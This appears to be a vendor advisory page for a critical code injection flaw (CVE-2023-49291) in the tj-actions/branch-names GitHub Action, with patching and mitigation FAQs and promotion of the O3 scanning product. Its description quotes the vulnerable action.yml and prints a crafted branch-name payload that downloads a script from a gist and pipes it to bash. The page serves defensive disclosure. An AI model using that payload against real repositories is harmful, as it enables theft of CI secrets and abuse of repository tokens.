How severe is GHSA-8v8w-v8xg-79rf?

GHSA-8v8w-v8xg-79rf has a CVSS score of 9.3/10, rated CRITICAL. Immediate patching is strongly recommended.

Which packages are affected by GHSA-8v8w-v8xg-79rf?

GHSA-8v8w-v8xg-79rf affects the following packages: tj-actions/branch-names (GitHub Actions). Ecosystems affected: GitHub Actions.

How do I fix GHSA-8v8w-v8xg-79rf?

Update tj-actions/branch-names to 7.0.7 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-8v8w-v8xg-79rf is resolved across your whole dependency graph.

How do I detect GHSA-8v8w-v8xg-79rf in my GitHub Actions dependencies?

Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for tj-actions/branch-names. O3's reachability analysis confirms whether the vulnerable code path is actually invoked in your application, so you act on real exposure instead of every transitive match.

How do I mitigate GHSA-8v8w-v8xg-79rf if there is no patch (or I can't update yet)?

If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.

How does O3 Security protect against GHSA-8v8w-v8xg-79rf?

O3 pinpoints whether GHSA-8v8w-v8xg-79rf is reachable in your code and exactly where to fix it, then blocks exploitation in production at runtime until the patched version is deployed.

Is GHSA-8v8w-v8xg-79rf actively exploited in the wild?

Yes. There are 2 known exploit references for GHSA-8v8w-v8xg-79rf, including 2 in-the-wild exploitations observed on GitHub and other sources. Treat this as actively exploitable and prioritize patching immediately. All exploit code should only be run in an isolated sandbox environment for research or authorized testing — never against production systems without explicit written authorization.

What is the EPSS score for GHSA-8v8w-v8xg-79rf?

GHSA-8v8w-v8xg-79rf has an EPSS (Exploit Prediction Scoring System) score of 1.4%, placing it in the 70th percentile of all CVEs. EPSS is maintained by FIRST.org and estimates the probability that a vulnerability will be exploited in the wild within the next 30 days. This score indicates relatively lower exploitation probability, though the CVSS severity should still guide your patching priority.

When was GHSA-8v8w-v8xg-79rf published, and has it been updated?

GHSA-8v8w-v8xg-79rf was published on December 5, 2023 and was last updated on December 6, 2023. Advisory data evolves as severity scores, affected ranges, and exploit intelligence are revised — always check the latest version of the advisory before acting.

📦 GitHub Actions

GHSA-8v8w-v8xg-79rf

CRITICAL

tj-actions/branch-names's Improper Sanitization of Branch Name Leads to Arbitrary Code Injection

Also known asCVE-2023-49291

Published

Dec 5, 2023

Updated

Dec 6, 2023

Affected

1 pkg

Patched

1 / 1

Exploits

2 known

EPSS Exploitation Probability

via FIRST.org ↗

1.4%probability of exploitation in next 30 days

Lower Risk70th percentile+0.32%

EPSS (Exploit Prediction Scoring System) is a daily probability model maintained by FIRST.org. It estimates the likelihood a CVE will be exploited in production environments within the next 30 days, derived from real-world threat intelligence signals.

Blast Radius

1 pkg affected

📦tj-actions/branch-names

Real-time download stats are indexed for npm and PyPI packages. This vulnerability affects GitHub Actions packages — download data is not available via public APIs for these ecosystems.

Description

Summary

The tj-actions/branch-names GitHub Actions references the github.event.pull_request.head.ref and github.head_ref context variables within a GitHub Actions run step. The head ref variable is the branch name and can be used to execute arbitrary code using a specially crafted branch name.

Details

The vulnerable code is within the action.yml file the run step references the value directly, instead of a sanitized variable.

runs:
  using: "composite"
  steps:
    - id: branch
      run: |
        # "Set branch names..."
        if [[ "${{ github.ref }}" != "refs/tags/"* ]]; then
          BASE_REF=$(printf "%q" "${{ github.event.pull_request.base.ref || github.base_ref }}")
          HEAD_REF=$(printf "%q" "${{ github.event.pull_request.head.ref || github.head_ref }}")
          REF=$(printf "%q" "${{ github.ref }}")

An attacker can use a branch name to inject arbitrary code, for example: Test")${IFS}&&${IFS}{curl,-sSfL,gist.githubusercontent.com/RampagingSloth/72511291630c7f95f0d8ffabb3c80fbf/raw/inject.sh}${IFS}|${IFS}bash&&echo${IFS}$("foo will download and run a script from a Gist. This allows an attacker to inject a payload of arbitrary complexity.

Impact

An attacker can use this vulnerability to steal secrets from or abuse GITHUB_TOKEN permissions.

Reference

https://securitylab.github.com/research/github-actions-untrusted-input

Affected Packages

1 total 1 fixed

Ecosystem	Package	Vulnerable range	Fix
📦GitHub Actions	`tj-actions/branch-names`	all versions	7.0.7

Exploits & PoCs

Research use only. For defensive security, authorized penetration testing, and academic research only. Never execute exploit code against systems without explicit written authorization.

tj-actions/branch-names is a Github action to retrieve branch or tag nam…

github.comNVDDec 2023

tj-actions/branch-names is a Github action to retrieve branch or tag nam…

securitylab.github.comNVDDec 2023

Detection & mitigation playbook

Open-source dependency

Detect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for tj-actions/branch-names. O3's reachability analysis confirms whether the vulnerable code path is actually invoked in your application, so you act on real exposure instead of every transitive match.
Fix
Update tj-actions/branch-names to 7.0.7 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-8v8w-v8xg-79rf is resolved across your whole dependency graph.
Workarounds
If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.
How O3 protects you
O3 pinpoints whether GHSA-8v8w-v8xg-79rf is reachable in your code and exactly where to fix it, then blocks exploitation in production at runtime until the patched version is deployed.

Tailored to GHSA-8v8w-v8xg-79rf. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.

Frequently Asked Questions

### Summary The `tj-actions/branch-names` GitHub Actions references the `github.event.pull_request.head.ref` and `github.head_ref` context variables within a GitHub Actions `run` step. The head ref variable is the branch name and can be used to execute arbitrary code using a specially crafted branch name. ### Details The vulnerable code is within the `action.yml` file the `run` step references the value directly, instead of a sanitized variable. ```yml runs: using: "composite" steps: - id: branch run: | # "Set branch names..." if [[ "${{ github.ref }}" != "re

O3 Security · Impact-Aware SCA

Is GHSA-8v8w-v8xg-79rf in your dependencies?

O3 detects GHSA-8v8w-v8xg-79rf across GitHub Actions dependencies and uses function-level reachability to confirm whether the vulnerable code path is actually reachable — not just present. No false positives.

Scan my dependencies How O3 SCA works